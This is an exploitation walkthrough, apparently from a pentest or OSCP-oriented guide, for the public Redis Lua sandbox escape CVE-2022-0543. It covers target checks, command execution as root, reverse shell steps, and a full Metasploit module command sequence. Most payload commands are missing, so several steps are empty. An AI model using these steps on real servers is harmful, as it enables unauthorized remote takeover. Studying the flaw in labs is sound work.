CVE-2022-0543 – Redis Lua Sandbox Escape RCE
Debian and Ubuntu package Redis with a dynamically linked Lua library and failed to disable the package interface in the Lua sandbox. The package.loadlib function lets you load arbitrary shared libraries (specifically liblua) and call functions like io.popen to execute OS commands. This bypasses the Redis sandbox entirely from within a Redis EVAL call. No CONFIG access, no file writes, no module loading required.
Affects Redis on Debian Buster/Bullseye and Ubuntu 20.04/21.10 with Redis packages below the patched versions. Does not affect upstream Redis or non-Debian distributions.
CVSS score: 10.0: exploitable unauthenticated (or authenticated) remotely.
Prerequisites Check
1 - Confirm the target is Debian or Ubuntu:
Output like os:Linux 5.15.0 x86_64 on a known Debian/Ubuntu target is a good indicator. Or check directly if you have any shell:
2 - Check Redis version:
Vulnerable versions:
Debian: redis < 5:6.0.16-1+deb11u2 or < 5:5.0.14-1+deb10u2
Ubuntu 20.04: redis < 5:6.0.9-1ubuntu0.1
Ubuntu 21.10: redis < 5:6.2.6-1ubuntu0.1
3 - Confirm EVAL is available:
Must return (integer) 1, not an error.
4 - Confirm the Lua library path:
If this returns a function reference rather than nil, the package variable is accessible and the target is likely vulnerable.
Find the exact liblua path:
Or from a shell on target:
Common paths:
Ubuntu 20.04 x86_64:
/usr/lib/x86_64-linux-gnu/liblua5.1.so.0Debian Buster:
/usr/lib/x86_64-linux-gnu/liblua5.1.so.0ARM:
/usr/lib/arm-linux-gnueabihf/liblua5.1.so.0
CVE-2022-0543 Redis Exploit: Test Command Execution
Verify the sandbox is escapable by running id:
"uid=0(root) gid=0(root) groups=0(root)\n"
If you see uid=... in the output, you have unauthenticated OS command execution.
Step 2 - Get a Reverse Shell
Start your listener:
Execute a reverse shell via the Lua escape:
Or use a Python reverse shell to avoid bash quoting issues:
Step 3 - Use the PoC Script (Simpler)
Clone the public PoC for cleaner execution:
Reverse shell:
For an authenticated target:
Metasploit Module
Warning
This may be restricted in exams such as OSCP. Verify exam rules before use.
use exploit/linux/redis/redis_debian_sandbox_escape set RHOSTS $TARGET_IP set LHOST $LHOST set LUA_LIB /usr/lib/x86_64-linux-gnu/liblua5.1.so.0 set PASSWORD $PASSWORD run
Note: Ubuntu Redis runs under systemd with MemoryDenyWriteExecute, which breaks staged Meterpreter. Use a stageless payload:
Why This Fails
Target is not Debian/Ubuntu: the vulnerability is packaging-specific
Redis has been patched: patched versions set
package = nilin the Lua environmentpackage.loadlibreturns nil: patch is appliedWrong liblua path: adjust the path to match the installed version on the target
References
-
Redis on Debian RCELINK: Redis on Debian RCE , www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce (opens in new tab)
Reginaldo Silva Original vulnerability discovery and PoC by the researcher who found CVE-2022-0543.
-
JacobEbben Fully featured exploit script with authentication support and command execution.
-
Vulhub CVE-2022-0543CVE: Vulhub CVE-2022-0543, github.com/vulhub/vulhub/blob/master/redis/CVE-2022-0543/README.md (opens in new tab)
Docker-based lab environment and step-by-step exploitation walkthrough.